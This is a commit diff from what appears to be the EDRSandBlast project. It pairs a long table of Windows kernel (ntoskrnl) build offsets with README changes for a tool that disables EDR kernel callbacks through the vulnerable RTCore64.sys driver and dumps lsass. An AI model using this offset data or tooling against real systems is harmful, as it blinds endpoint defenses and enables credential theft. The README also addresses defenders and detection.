361 ntoskrnl_18362-449.exe ntoskrnl_17763-831.exe 505da0 4d8c70 505fa0 4d8870 505ba0 4d8a70 6fa 6ca 434c58 409610 20 50 5412d0 5412f8 c8
362 ntoskrnl_18362-476.exe ntoskrnl_17763-864.exe 506060 4d8b70 505c60 4d8d70 505e60 4d8970 6fa 6ca 434c78 409698 20 50 5412d0 5412f8 c8
363 ntoskrnl_18362-535.exe ntoskrnl_17763-973.exe 506020 4d8b70 505c20 4d8d70 505e20 4d8970 6fa 6ca 434c78 409698 20 50 5412d0 5412f8 c8
364 ntoskrnl_18362-592.exe ntoskrnl_17763-914.exe 506060 4d8b70 505c60 4d8d70 505e60 4d8970 6fa 6ca 434c80 409698 20 50 5412d0 5412f8 c8
365 ntoskrnl_18362-628.exe ntoskrnl_18362-1016.exe 506060 505fa0 505c60 505ba0 505e60 505da0 6fa 434c78 434bf8 20 50 60 574390 5743b8 c8
366 ntoskrnl_18362-657.exe ntoskrnl_18362-1049.exe 505e60 503fe0 506060 503be0 505c60 503de0 6fa 434c78 432c38 20 50 60 572390 5723b8 c8
367 ntoskrnl_18362-693.exe ntoskrnl_18362-1110.exe 505de0 503fa0 505fe0 503ba0 505be0 503da0 6fa 434c38 432c18 20 60 572390 5723b8 c8
368 ntoskrnl_18362-719.exe ntoskrnl_18362-1082.exe 505e20 503fa0 506020 503ba0 505c20 503da0 6fa 434c78 432bf8 20 60 572390 5723b8 c8
369 ntoskrnl_18362-720.exe ntoskrnl_18362-1139.exe 505e20 5040a0 506020 503ca0 505c20 503ea0 6fa 434c78 432c98 20 60 572390 5723b8 c8
370 ntoskrnl_18362-752.exe ntoskrnl_18362-116.exe 505ea0 500de0 5060a0 5009e0 505ca0 500be0 6fa 434c58 42fa48 20 60 50 56f390 56f3b8 c8
371 ntoskrnl_18362-753.exe ntoskrnl_18362-1171.exe 505ea0 5040a0 5060a0 503ca0 505ca0 503ea0 6fa 434c58 432c90 20 60 572390 5723b8 c8
372 ntoskrnl_18362-778.exe ntoskrnl_18362-1198.exe 505e60 5040a0 506060 503ca0 505c60 503ea0 6fa 434c70 432c90 20 60 572390 5723b8 c8
373 ntoskrnl_18362-815.exe ntoskrnl_18362-1237.exe 505e60 5040a0 506060 503ca0 505c60 503ea0 6fa 434c70 432c90 20 60 572390 5723b8 c8
374 ntoskrnl_18362-836.exe ntoskrnl_18362-1256.exe 505ea0 5040a0 5060a0 503ca0 505ca0 503ea0 6fa 434c58 432c90 20 60 572390 5723b8 c8
375 ntoskrnl_18362-900.exe ntoskrnl_18362-1316.exe 505ea0 5040a0 5060a0 503ca0 505ca0 503ea0 6fa 434c78 432c90 20 60 572390 5723b8 c8
376 ntoskrnl_18362-904.exe ntoskrnl_18362-1350.exe 505ea0 503b60 5060a0 503d60 505ca0 503960 6fa 434c78 432bf8 20 60 572390 5723b8 c8
377 ntoskrnl_18362-959.exe ntoskrnl_18362-1377.exe 505ea0 503da0 5060a0 5039a0 505ca0 503ba0 6fa 434cb8 432c38 20 60 572390 5723b8 c8
378 ntoskrnl_18362-997.exe ntoskrnl_18362-1379.exe 505e60 503da0 506060 5039a0 505c60 503ba0 6fa 434c78 432c38 20 60 572390 5723b8 c8
379 ntoskrnl_19041-1023.exe ntoskrnl_18362-1411.exe cec460 503de0 cec260 5039e0 cec060 503be0 87a 6fa c19db8 432c38 20 60 572390 5723b8 c8
380 ntoskrnl_19041-1052.exe ntoskrnl_18362-1440.exe cebfe0 503da0 cec3e0 5039a0 cec1e0 503ba0 87a 6fa c19790 432c38 20 60 572390 5723b8 c8
381 ntoskrnl_19041-1055.exe ntoskrnl_18362-1441.exe cec020 503da0 cec420 5039a0 cec220 503ba0 87a 6fa c19790 432c38 20 60 572390 5723b8 c8
382 ntoskrnl_19041-1081.exe ntoskrnl_18362-145.exe cec1e0 500de0 cebfe0 5009e0 cec3e0 500be0 87a 6fa c19758 42f9e8 20 60 50 56f390 56f3b8 c8
383 ntoskrnl_19041-1082.exe ntoskrnl_18362-1443.exe cec420 503da0 cec220 5039a0 cec020 503ba0 87a 6fa c19758 432c38 20 60 572390 5723b8 c8
384 ntoskrnl_19041-1083.exe ntoskrnl_18362-1474.exe cec420 503ba0 cec220 503da0 cec020 5039a0 87a 6fa c19758 432c38 20 60 572390 5723b8 c8
385 ntoskrnl_19041-1110.exe ntoskrnl_18362-1500.exe cec120 503b60 cebf20 503d60 cec320 503960 87a 6fa c197f8 432c18 20 60 572390 5723b8 c8
386 ntoskrnl_19041-1151.exe ntoskrnl_18362-1533.exe cec320 503e20 cec120 503a20 cebf20 503c20 87a 6fa c197c0 432c78 20 60 572390 5723b8 c8
387 ntoskrnl_19041-1165.exe ntoskrnl_18362-1556.exe cec2e0 503e20 cec0e0 503a20 cebee0 503c20 87a 6fa c197a0 432c78 20 60 572390 5723b8 c8
388 ntoskrnl_19041-1202.exe ntoskrnl_18362-1621.exe cec320 503e20 cec120 503a20 cebf20 503c20 87a 6fa c197d0 432c78 20 60 572390 5723b8 c8
389 ntoskrnl_19041-1237.exe ntoskrnl_18362-1593.exe cec320 503e20 cec120 503a20 cebf20 503c20 87a 6fa c197d0 432c78 20 60 572390 5723b8 c8
390 ntoskrnl_19041-1266.exe ntoskrnl_18362-1646.exe cec3a0 503e20 cec1a0 503a20 cebfa0 503c20 87a 6fa c19770 432c78 20 60 572390 5723b8 c8
391 ntoskrnl_19041-1288.exe ntoskrnl_18362-1734.exe cec1a0 503de0 cebfa0 5039e0 cec3a0 503be0 87a 6fa c19790 432c38 20 60 572390 5723b8 c8
392 ntoskrnl_19041-264.exe ntoskrnl_18362-1679.exe cec060 502da0 cec260 5029a0 cebe60 502ba0 87a 6fa c19858 431bf8 20 60 571390 5713b8 c8
393 ntoskrnl_19041-329.exe ntoskrnl_18362-1801.exe cec320 503ce0 cebf20 503ee0 cec120 503ae0 87a 6fa c19898 432c38 20 60 572390 5723b8 c8
394 ntoskrnl_19041-331.exe ntoskrnl_18362-1854.exe cec320 503ba0 cebf20 503da0 cec120 5039a0 87a 6fa c19898 432c58 20 60 572390 5723b8 c8
395 ntoskrnl_19041-388.exe ntoskrnl_18362-1977.exe cec3a0 503ba0 cebfa0 503da0 cec1a0 5039a0 87a 6fa c19898 432c50 20 60 572390 5723b8 c8
396 ntoskrnl_19041-423.exe ntoskrnl_18362-1916.exe cec160 503ba0 cec360 503da0 cebf60 5039a0 87a 6fa c198b8 432c50 20 60 572390 5723b8 c8
397 ntoskrnl_19041-450.exe ntoskrnl_18362-2037.exe cec320 503de0 cebf20 5039e0 cec120 503be0 87a 6fa c198b8 432c38 20 60 572390 5723b8 c8
398 ntoskrnl_19041-488.exe ntoskrnl_18362-2039.exe cec220 503de0 cec420 5039e0 cec020 503be0 87a 6fa c19918 432c38 20 60 572390 5723b8 c8
399 ntoskrnl_19041-508.exe ntoskrnl_18362-207.exe cec3a0 500de0 cebfa0 5009e0 cec1a0 500be0 87a 6fa c19898 42fa48 20 60 50 56f390 56f3b8 c8
400 ntoskrnl_19041-546.exe ntoskrnl_18362-2158.exe cec420 503de0 cec020 5039e0 cec220 503be0 87a 6fa c19938 432c38 20 60 572390 5723b8 c8
401 ntoskrnl_19041-572.exe ntoskrnl_18362-2094.exe cec420 503de0 cec020 5039e0 cec220 503be0 87a 6fa c19938 432c38 20 60 572390 5723b8 c8
402 ntoskrnl_19041-610.exe ntoskrnl_18362-2212.exe cec220 503de0 cec420 5039e0 cec020 503be0 87a 6fa c19978 432c38 20 60 572390 5723b8 c8
403 ntoskrnl_19041-630.exe ntoskrnl_18362-239.exe cec220 500de0 cec420 5009e0 cec020 500be0 87a 6fa c19978 42fa48 20 60 50 56f390 56f3b8 c8
404 ntoskrnl_19041-631.exe ntoskrnl_18362-2274.exe cec220 503de0 cec420 5039e0 cec020 503be0 87a 6fa c19978 432c38 20 60 572390 5723b8 c8
405 ntoskrnl_19041-662.exe ntoskrnl_18362-267.exe cec3a0 503f60 cec1a0 503b60 cebfa0 503d60 87a 6fa c198f8 432c60 20 60 50 572390 5723b8 c8
406 ntoskrnl_19041-685.exe ntoskrnl_18362-295.exe cec3a0 503fa0 cec1a0 503ba0 cebfa0 503da0 87a 6fa c198f8 432c48 20 60 50 572390 5723b8 c8
407 ntoskrnl_19041-746.exe ntoskrnl_18362-329.exe cebfe0 504ee0 cec3e0 5050e0 cec1e0 504ce0 87a 6fa c198f8 433c28 20 60 50 573390 5733b8 c8
408 ntoskrnl_19041-789.exe ntoskrnl_18362-30.exe cec220 500d60 cec620 500960 cec420 500b60 87a 6fa c19998 42fa40 20 60 50 56f390 56f3b8 c8
409 ntoskrnl_19041-804.exe ntoskrnl_18362-356.exe cec420 505060 cec220 504c60 cec020 504e60 87a 6fa c19918 433c90 20 60 50 573390 5733b8 c8
410 ntoskrnl_19041-844.exe ntoskrnl_18362-357.exe cec660 505060 cec460 504c60 cec260 504e60 87a 6fa c19fa8 433c90 20 60 50 573390 5733b8 c8
411 ntoskrnl_19041-867.exe ntoskrnl_18362-387.exe cec1e0 505fe0 cec5e0 505be0 cec3e0 505de0 87a 6fa c19fa8 434c38 20 60 50 574390 5743b8 c8
412 ntoskrnl_19041-868.exe ntoskrnl_18362-388.exe cec1e0 505fe0 cec5e0 505be0 cec3e0 505de0 87a 6fa c19fa8 434c38 20 60 50 574390 5743b8 c8
413 ntoskrnl_19041-870.exe ntoskrnl_18362-476.exe cec1e0 506060 cec5e0 505c60 cec3e0 505e60 87a 6fa c19fa8 434c78 20 60 50 574390 5743b8 c8
414 ntoskrnl_19041-906.exe ntoskrnl_18362-449.exe cec5e0 505da0 cec3e0 505fa0 cec1e0 505ba0 87a 6fa c199d0 434c58 20 60 50 574390 5743b8 c8
415 ntoskrnl_19041-928.exe ntoskrnl_18362-418.exe cec520 505ee0 cec320 5060e0 cec120 505ce0 87a 6fa c19950 434c58 20 60 50 574390 5743b8 c8
416 ntoskrnl_19041-964.exe ntoskrnl_18362-535.exe cec0e0 506020 cebee0 505c20 cec2e0 505e20 87a 6fa c19d38 434c78 20 60 50 574390 5743b8 c8
417 ntoskrnl_19041-985.exe ntoskrnl_18362-592.exe cec360 506060 cec160 505c60 cebf60 505e60 87a 6fa c19d78 434c80 20 60 50 574390 5743b8 c8
418 ntoskrnl_22000-194.exe ntoskrnl_18362-657.exe cf5f40 505e60 cf5d40 506060 cf6140 505c60 87a 6fa c15d20 434c78 20 60 50 574390 5743b8 c8
419 ntoskrnl_22000-258.exe ntoskrnl_18362-628.exe cf5f40 506060 cf5d40 505c60 cf6140 505e60 87a 6fa c15d20 434c78 20 60 50 574390 5743b8 c8
420 ntoskrnl_22000-282.exe ntoskrnl_18362-693.exe cf5f00 505de0 cf5d00 505fe0 cf6100 505be0 87a 6fa c163d0 434c38 20 60 574390 5743b8 c8
421 ntoskrnl_14393-693.exe ntoskrnl_18362-719.exe 33bca0 505e20 33baa0 506020 33b8a0 505c20 6c2 6fa 0 434c78 20 50 60 574390 5743b8 c8
422 ntoskrnl_19041-1.exe ntoskrnl_18362-720.exe cec0e0 505e20 cec2e0 506020 cebee0 505c20 87a 6fa c19898 434c78 20 60 574390 5743b8 c8
423 ntoskrnl_9600-17031.exe ntoskrnl_18362-752.exe 2e1a40 505ea0 2e1840 5060a0 2e1640 505ca0 67a 6fa 0 434c58 10 20 50 60 574390 5743b8 c8
424 ntoskrnl_9600-19321.exe ntoskrnl_18362-778.exe 2dcb10 505e60 2dc910 506060 2dc710 505c60 67a 6fa 0 434c70 20 50 60 574390 5743b8 c8
425 ntoskrnl_9600-19376.exe ntoskrnl_18362-753.exe 2dbb10 505ea0 2db910 5060a0 2db710 505ca0 67a 6fa 0 434c58 20 50 60 574390 5743b8 c8
426 ntoskrnl_9600-19426.exe ntoskrnl_18362-815.exe 2dbb10 505e60 2db910 506060 2db710 505c60 67a 6fa 0 434c70 20 50 60 574390 5743b8 c8
427 ntoskrnl_19041-1348.exe ntoskrnl_18362-836.exe cec4e0 505ea0 cec2e0 5060a0 cec0e0 505ca0 87a 6fa c197c0 434c58 20 60 574390 5743b8 c8
428 ntoskrnl_19041-1387.exe ntoskrnl_18362-904.exe cec1a0 505ea0 cec3a0 5060a0 cebfa0 505ca0 87a 6fa c197a0 434c78 20 60 574390 5743b8 c8
429 ntoskrnl_22000-348.exe ntoskrnl_18362-900.exe cf5e00 505ea0 cf6200 5060a0 cf6000 505ca0 87a 6fa c15d40 434c78 20 60 574390 5743b8 c8
430 ntoskrnl_22000-318.exe ntoskrnl_19041-1023.exe cf5f00 cec460 cf5d00 cec260 cf6100 cec060 87a c163d0 c19db8 20 60 cfc410 cfc440 c8
431 ntoskrnl_14393-4704.exe ntoskrnl_18362-959.exe 339e60 505ea0 339c60 5060a0 339a60 505ca0 6ca 6fa 0 434cb8 20 50 60 574390 5743b8 c8
432 ntoskrnl_7601-17514.exe ntoskrnl_19041-1052.exe ffffffffffffffff cebfe0 ffffffffffffffff cec3e0 ffffffffffffffff cec1e0 0 87a 0 c19790 8 20 38 60 cfc410 cfc440 c8
433 ntoskrnl_14393-4771.exe ntoskrnl_18362-997.exe 339e60 505e60 339c60 506060 339a60 505c60 6ca 6fa 0 434c78 20 50 60 574390 5743b8 c8
434 ntoskrnl_17763-2305.exe ntoskrnl_19041-1.exe 4d5b70 cec0e0 4d5770 cec2e0 4d5970 cebee0 6ca 87a 406438 c19898 20 60 cfb410 cfb440 c8
435 ntoskrnl_17763-2237.exe ntoskrnl_19041-1055.exe 4d6b70 cec020 4d6770 cec420 4d6970 cec220 6ca 87a 407438 c19790 20 60 cfc410 cfc440 c8
436 ntoskrnl_7601-25740.exe ntoskrnl_19041-1081.exe 21c500 cec1e0 21c2e0 cebfe0 21c0c0 cec3e0 0 87a 0 c19758 20 50 60 cfc410 cfc440 c8
437 ntoskrnl_9600-20144.exe ntoskrnl_19041-1083.exe 2dac50 cec420 2daa50 cec220 2da850 cec020 67a 87a 0 c19758 20 50 60 cfc410 cfc440 c8
438 ntoskrnl_6003-21251.exe ntoskrnl_19041-1082.exe 1a9d00 cec420 1a9ae0 cec220 1a9a80 cec020 0 87a 0 c19758 10 20 50 60 cfc410 cfc440 c8
439 ntoskrnl_9200-23516.exe ntoskrnl_19041-1110.exe 2452a0 cec120 2454c0 cebf20 2456e0 cec320 0 87a 0 c197f8 10 20 50 60 cfb410 cfb440 c8
440 ntoskrnl_19041-1415.exe ntoskrnl_19041-1202.exe cec1e0 cec320 cec3e0 cec120 cebfe0 cebf20 87a c197c0 c197d0 20 60 cfb410 cfb440 c8
441 ntoskrnl_22000-376.exe ntoskrnl_19041-1165.exe cf5e00 cec2e0 cf6200 cec0e0 cf6000 cebee0 87a c15d40 c197a0 20 60 cfb410 cfb440 c8
442 ntoskrnl_19041-1151.exe cec320 cec120 cebf20 87a c197c0 20 60 cfb410 cfb440 c8
443 ntoskrnl_19041-1237.exe cec320 cec120 cebf20 87a c197d0 20 60 cfb410 cfb440 c8
444 ntoskrnl_19041-1266.exe cec3a0 cec1a0 cebfa0 87a c19770 20 60 cfc410 cfc440 c8
445 ntoskrnl_19041-1288.exe cec1a0 cebfa0 cec3a0 87a c19790 20 60 cfc410 cfc440 c8
446 ntoskrnl_19041-1320.exe cec4e0 cec2e0 cec0e0 87a c197c0 20 60 cfc410 cfc440 c8
447 ntoskrnl_19041-1348.exe cec4e0 cec2e0 cec0e0 87a c197c0 20 60 cfc410 cfc440 c8
448 ntoskrnl_19041-1387.exe cec1a0 cec3a0 cebfa0 87a c197a0 20 60 cfc410 cfc440 c8
449 ntoskrnl_19041-1466.exe cec020 cec220 cec420 87a c19780 20 60 cfc410 cfc440 c8
450 ntoskrnl_19041-1469.exe cec020 cec220 cec420 87a c19780 20 60 cfc410 cfc440 c8
451 ntoskrnl_19041-1415.exe cec1e0 cec3e0 cebfe0 87a c197c0 20 60 cfc410 cfc440 c8
452 ntoskrnl_19041-1503.exe cebfa0 cec3a0 cec1a0 87a c197a0 20 60 cfb410 cfb440 c8
453 ntoskrnl_19041-1566.exe cec3e0 cec1e0 cebfe0 87a c197f8 20 60 cfb410 cfb440 c8
454 ntoskrnl_19041-1526.exe cec4e0 cec2e0 cec0e0 87a c197a0 20 60 cfc410 cfc440 c8
455 ntoskrnl_19041-1620.exe cec460 cec260 cec060 87a c19dc8 20 60 cfc410 cfc440 c8
456 ntoskrnl_19041-1586.exe cec3e0 cec1e0 cebfe0 87a c197f8 20 60 cfb410 cfb440 c8
457 ntoskrnl_19041-1645.exe cec3a0 cec1a0 cebfa0 87a c19de8 20 60 cfc410 cfc440 c8
458 ntoskrnl_19041-1682.exe cec460 cec260 cec060 87a c19dc8 20 60 cfc410 cfc440 c8
459 ntoskrnl_19041-1706.exe cec260 cec060 cec460 87a c19e08 20 60 cfc410 cfc440 c8
460 ntoskrnl_19041-1708.exe cec460 cec260 cec060 87a c19de8 20 60 cfc410 cfc440 c8
461 ntoskrnl_19041-1806.exe cec0e0 cec4e0 cec2e0 87a c19df8 20 60 cfc410 cfc440 c8
462 ntoskrnl_19041-1766.exe cec4a0 cec2a0 cec0a0 87a c19810 20 60 cfc410 cfc440 c8
463 ntoskrnl_19041-1741.exe cebf60 cec360 cec160 87a c19770 20 60 cfb410 cfb440 c8
464 ntoskrnl_19041-1826.exe cec3e0 cec1e0 cebfe0 87a c19df8 20 60 cfc410 cfc440 c8
465 ntoskrnl_19041-1865.exe cec120 cec520 cec320 87a c19de0 20 60 cfc410 cfc440 c8
466 ntoskrnl_19041-264.exe cec060 cec260 cebe60 87a c19858 20 60 cfb410 cfb440 c8
467 ntoskrnl_19041-331.exe cec320 cebf20 cec120 87a c19898 20 60 cfb410 cfb440 c8
468 ntoskrnl_19041-329.exe cec320 cebf20 cec120 87a c19898 20 60 cfb410 cfb440 c8
469 ntoskrnl_19041-388.exe cec3a0 cebfa0 cec1a0 87a c19898 20 60 cfb410 cfb440 c8
470 ntoskrnl_19041-423.exe cec160 cec360 cebf60 87a c198b8 20 60 cfb410 cfb440 c8
471 ntoskrnl_19041-488.exe cec220 cec420 cec020 87a c19918 20 60 cfc410 cfc440 c8
472 ntoskrnl_19041-450.exe cec320 cebf20 cec120 87a c198b8 20 60 cfb410 cfb440 c8
473 ntoskrnl_19041-572.exe cec420 cec020 cec220 87a c19938 20 60 cfc410 cfc440 c8
474 ntoskrnl_19041-508.exe cec3a0 cebfa0 cec1a0 87a c19898 20 60 cfb410 cfb440 c8
475 ntoskrnl_19041-546.exe cec420 cec020 cec220 87a c19938 20 60 cfc410 cfc440 c8
476 ntoskrnl_19041-610.exe cec220 cec420 cec020 87a c19978 20 60 cfc410 cfc440 c8
477 ntoskrnl_19041-630.exe cec220 cec420 cec020 87a c19978 20 60 cfc410 cfc440 c8
478 ntoskrnl_19041-662.exe cec3a0 cec1a0 cebfa0 87a c198f8 20 60 cfb410 cfb440 c8
479 ntoskrnl_19041-685.exe cec3a0 cec1a0 cebfa0 87a c198f8 20 60 cfb410 cfb440 c8
480 ntoskrnl_19041-631.exe cec220 cec420 cec020 87a c19978 20 60 cfc410 cfc440 c8
481 ntoskrnl_19041-746.exe cebfe0 cec3e0 cec1e0 87a c198f8 20 60 cfb410 cfb440 c8
482 ntoskrnl_19041-789.exe cec220 cec620 cec420 87a c19998 20 60 cfc410 cfc440 c8
483 ntoskrnl_19041-844.exe cec660 cec460 cec260 87a c19fa8 20 60 cfc410 cfc440 c8
484 ntoskrnl_19041-804.exe cec420 cec220 cec020 87a c19918 20 60 cfc410 cfc440 c8
485 ntoskrnl_19041-870.exe cec1e0 cec5e0 cec3e0 87a c19fa8 20 60 cfc410 cfc440 c8
486 ntoskrnl_19041-868.exe cec1e0 cec5e0 cec3e0 87a c19fa8 20 60 cfc410 cfc440 c8
487 ntoskrnl_19041-867.exe cec1e0 cec5e0 cec3e0 87a c19fa8 20 60 cfc410 cfc440 c8
488 ntoskrnl_19041-906.exe cec5e0 cec3e0 cec1e0 87a c199d0 20 60 cfc410 cfc440 c8
489 ntoskrnl_19041-928.exe cec520 cec320 cec120 87a c19950 20 60 cfc410 cfc440 c8
490 ntoskrnl_19041-985.exe cec360 cec160 cebf60 87a c19d78 20 60 cfb410 cfb440 c8
491 ntoskrnl_19041-964.exe cec0e0 cebee0 cec2e0 87a c19d38 20 60 cfb410 cfb440 c8
492 ntoskrnl_22000-194.exe cf5f40 cf5d40 cf6140 87a c15d20 20 60 d06890 d068c0 c8
493 ntoskrnl_22000-258.exe cf5f40 cf5d40 cf6140 87a c15d20 20 60 d06890 d068c0 c8
494 ntoskrnl_22000-282.exe cf5f00 cf5d00 cf6100 87a c163d0 20 60 d06890 d068c0 c8
495 ntoskrnl_22000-318.exe cf5f00 cf5d00 cf6100 87a c163d0 20 60 d06890 d068c0 c8
496 ntoskrnl_22000-348.exe cf5e00 cf6200 cf6000 87a c15d40 20 60 d06890 d068c0 c8
497 ntoskrnl_22000-376.exe cf5e00 cf6200 cf6000 87a c15d40 20 60 d06890 d068c0 c8
498 ntoskrnl_22000-434.exe cf5dc0 cf61c0 cf5fc0 87a c163b8 20 60 d06890 d068c0 c8
499 ntoskrnl_22000-438.exe cf5e00 cf6200 cf6000 87a c16398 20 60 d06890 d068c0 c8
500 ntoskrnl_22000-493.exe cf6140 cf6340 cf5f40 87a c15d58 20 60 d06890 d068c0 c8
501 ntoskrnl_22000-469.exe cf6140 cf6340 cf5f40 87a c15d38 20 60 d06890 d068c0 c8
502 ntoskrnl_22000-527.exe cf6300 cf5f00 cf6100 87a c15d58 20 60 d06890 d068c0 c8
503 ntoskrnl_22000-556.exe cf62c0 cf5ec0 cf60c0 87a c15d78 20 60 d06890 d068c0 c8
504 ntoskrnl_22000-593.exe cf63c0 cf61c0 cf5fc0 87a c15d78 20 60 d06890 d068c0 c8
505 ntoskrnl_22000-613.exe cf6340 cf6140 cf5f40 87a c15d78 20 60 d06890 d068c0 c8
506 ntoskrnl_22000-652.exe cf62c0 cf60c0 cf5ec0 87a c163d8 20 60 d06890 d068c0 c8
507 ntoskrnl_22000-675.exe cf6300 cf6100 cf5f00 87a c163d8 20 60 d06890 d068c0 c8
508 ntoskrnl_22000-739.exe cf62c0 cf60c0 cf5ec0 87a c163c0 20 60 d06890 d068c0 c8
509 ntoskrnl_22000-778.exe cf6180 cf5f80 cf5d80 87a c163b8 20 60 d06890 d068c0 c8
510 ntoskrnl_22000-795.exe cf6180 cf5f80 cf5d80 87a c163b8 20 60 d06890 d068c0 c8
511 ntoskrnl_22000-832.exe cf6380 cf6180 cf5f80 87a c163a8 20 60 d06890 d068c0 c8
512 ntoskrnl_7601-25740.exe 21c500 21c2e0 21c0c0 0 0 20 50 29e020 29e050 c0
513 ntoskrnl_9600-17031.exe 2e1a40 2e1840 2e1640 67a 0 10 50 354020 354048 c8
514 ntoskrnl_9600-19321.exe 2dcb10 2dc910 2dc710 67a 0 20 50 34f030 34f048 c8
515 ntoskrnl_9600-19376.exe 2dbb10 2db910 2db710 67a 0 20 50 34e030 34e048 c8
516 ntoskrnl_9600-19426.exe 2dbb10 2db910 2db710 67a 0 20 50 34e030 34e048 c8
517 ntoskrnl_9600-20144.exe 2dac50 2daa50 2da850 67a 0 20 50 34d030 34d048 c8
518 ntoskrnl_7601-17514.exe ffffffffffffffff ffffffffffffffff ffffffffffffffff 0 0 8 38 16002c 160028 80
519 ntoskrnl_6003-21251.exe 1a9d00 1a9ae0 1a9a80 0 0 10 50 22c020 22c040 228
+12 -3
View File
@@ -44,7 +44,7 @@ searches is justified by the fact that the undocumented APIs responsible for
Kernel callbacks addition / removal are subject to change and that any attempt
to write Kernel memory at the wrong address may (and often will) result in a
`Bug Check` (`Blue Screen of Death`). For more information on how the offsets
were gathered, refer to [Offsets section](Offsets).
were gathered (and how to update them), refer to [Offsets section](Offsets).
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
@@ -399,12 +399,12 @@ Actions mode:
Other options:
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host
--dont-unload-driver Keep the vulnerable driver installed on the host
Default to automatically unsinstall the driver.
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.
Default to restore the callbacks.
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.
--driver <RTCore64.sys> Path to the vulnerable driver file.
Default to 'RTCore64.sys' in the current directory.
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.
@@ -423,6 +423,11 @@ Other options:
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.
Default to 'lsass' in the current directory.
-i | --internet Enables automatic symbols download from Microsoft Symbol Server
If a corresponding *Offsets.csv file exists, appends the downloaded offsets to the file for later use
OpSec warning: downloads and drops on disk a PDB file for ntoskrnl.exe and/or wdigest.dll
```
### Build
@@ -456,6 +461,10 @@ optional arguments:
-d, --dowload Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.
```
### Automatic offsets retrieval and update
An additionnal option has been implemented in `EDRSandBlast` to allow the program to download the needed `.pdb` files itself from Microsoft Symbol Server, extract the required offsets, and even update the corresponding `.csv` files if present.
Using the `--internet` option make the tool execution much simpler, while introducing an additionnal OpSec risk, since a `.pdb` file is downloaded and dropped on disk during the process. This is required by the `dbghelp.dll` functions used to parse the symbols database ; however, full in-memory PDB parsing might be implemented in the future to lift this requierement and reduce the tool's footprint.
## Detection
From the defender (EDR vendor, Microsoft, SOC analysts looking at EDR's telemetry, ...) point of view, multiple indicators can be used to detect or prevent this kind of techniques.